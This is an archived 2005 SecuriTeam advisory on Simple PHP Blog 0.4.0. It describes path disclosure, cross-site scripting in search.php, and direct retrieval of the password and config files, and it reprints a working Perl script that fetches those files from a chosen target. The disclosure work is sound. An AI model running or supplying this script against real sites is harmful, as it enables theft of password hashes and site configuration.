[UNIX] SPHPBlog Multiple Vulnerabilities (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 04/19/05

  • Next message: SecuriTeam: "[NT] PMSoftware Simple Web Server Buffer Overflow"
    To: list@securiteam.com
    Date: 19 Apr 2005 11:46:49 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      SPHPBlog Multiple Vulnerabilities (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://sourceforge.net/projects/sphpblog/> Simple PHP Blog(SPHPBlog) is
    a dead-simple blog. It do not require a database, used flat text files and
    simple to install. The main advantage of using Simple PHP Blog is that it
    only requires PHP 4 (or greater) and write permission on the server.
    Unlike other blog software, there is almost no setup."

    Information disclosure, cross site scripting and path disclosure
    vulnerabilities were discovered in SPHPBlog.

    DETAILS

    Vulnerable Systems:
     * Simple PHP blog version 0.4.0

    Path Disclosure:
    The following URL will disclose the path under which the blog has been
    installed:
    http://host/sphpblog/scripts/sb_functions.php

    Cross Site Scripting in search.php:
    The following URL will cause the cross site scripting vulnerability to
    trigger:
    http://host/sphpblog/search.php?q=[XSS]

    Information Disclosure:
    The password and configuration files can be retrieved directly using the
    following URLs (the password file are protected using PHP`s crypt()
    function):
    http://host/sphpblog/config/password.txt
    http://host/sphpblog/config/config.txt

    Exploit:
    #!/usr/bin/perl -w

    # Remote grabbing sphpblog password & config file by y3dips
    # Bug find by y3dips <http:// y3dips echo or id>
    # Bug published at http://echo.or.id/adv/adv12-y3dips-2005.txt

    print "\n* Remote grabbing sphpblog password & config file by y3dips
    *\n";
    require LWP::UserAgent;

    if(@ARGV == 1)
            {

    $target= $ARGV[0];

    my $ua = LWP::UserAgent->new;
    $ua->agent("MSIE/6.0 Windows");
    $ua->timeout(10);
    $ua->env_proxy;

    my @url = ("http://$target/config/password.txt", "
    http://$target/config/config.txt");

    foreach my $urlz (@url) {
                my $injek = $ua->get($urlz);
                print "\n-------------------------------\n";
                if ($injek->is_success)
                     { print $injek->content;}
                else
                     {die $injek->status_line;}
                print "\n-------------------------------\n";

    }
    }
    else {
    print "Use: perl $0 [www.target.com] \n";
    }

    # EOF y3dips(c)2005
    # greetz :
    # @echo|staff = qw/ m0by the_day z3r0byt3 comex k-159 c-a-s-e s`to lirva32
    anonymous /;
    # @waraxe.us = qw/ waraxe LINUX shai-tan all_guys /;
    # @echo = qw/ newbie_hacker@yahoogroups.com #e-c-h-o_@_DALnet /;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:y3dips@echo.or.id> echo
    staff.
    The original article can be found at:
    <http://echo.or.id/adv/adv012-y3dips-2005.txt>
    http://echo.or.id/adv/adv012-y3dips-2005.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] PMSoftware Simple Web Server Buffer Overflow"

    Relevant Pages

    • [UNIX] Multiple Vulnerabilities MetaDot Portal Server
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SQL Injection: ... query he can cause an error message to execute script into an unsuspecting ... users browser thus causing a Cross Site Scripting attack. ...
      (Securiteam)
    • [UNIX] Multiple Vulnerabilities in XMB Forum (CSS, SQL Injection, Administrative Password Disclosure
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A cross site scripting bug exists in u2u.php as well. ... An SQL injection and a cross site-scripting bug in member.php (only ... Yet more SQL injections and XSS vulnerabilities exists, ...
      (Securiteam)
    • [UNIX] Multiple Vulnerabilities in Moodle (view.php, file.php)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Cross Site Scripting in /mod/forum/view.php ... session ID we can use cross site scripting vulnerability. ... Session File Disclosure vulnerability is patched in version 1.4.3. ...
      (Securiteam)
    • [UNIX] Cyphor Multiple Security Vulnerabilities (SQL Injection and CSS)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... normal users, moderators and administrators. ... SQL Injection in 'Forgot Password Interface': ... The following URL will trigger an cross site scripting attack against ...
      (Securiteam)
    • [UNIX] Multiple Vulnerabilities in NukeBookmarks (Full path disclosure, Cross Site Scripting, SQL I
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Cross Site Scripting and SQL Injection ... Full Path Disclosure Vulnerability: ...
      (Securiteam)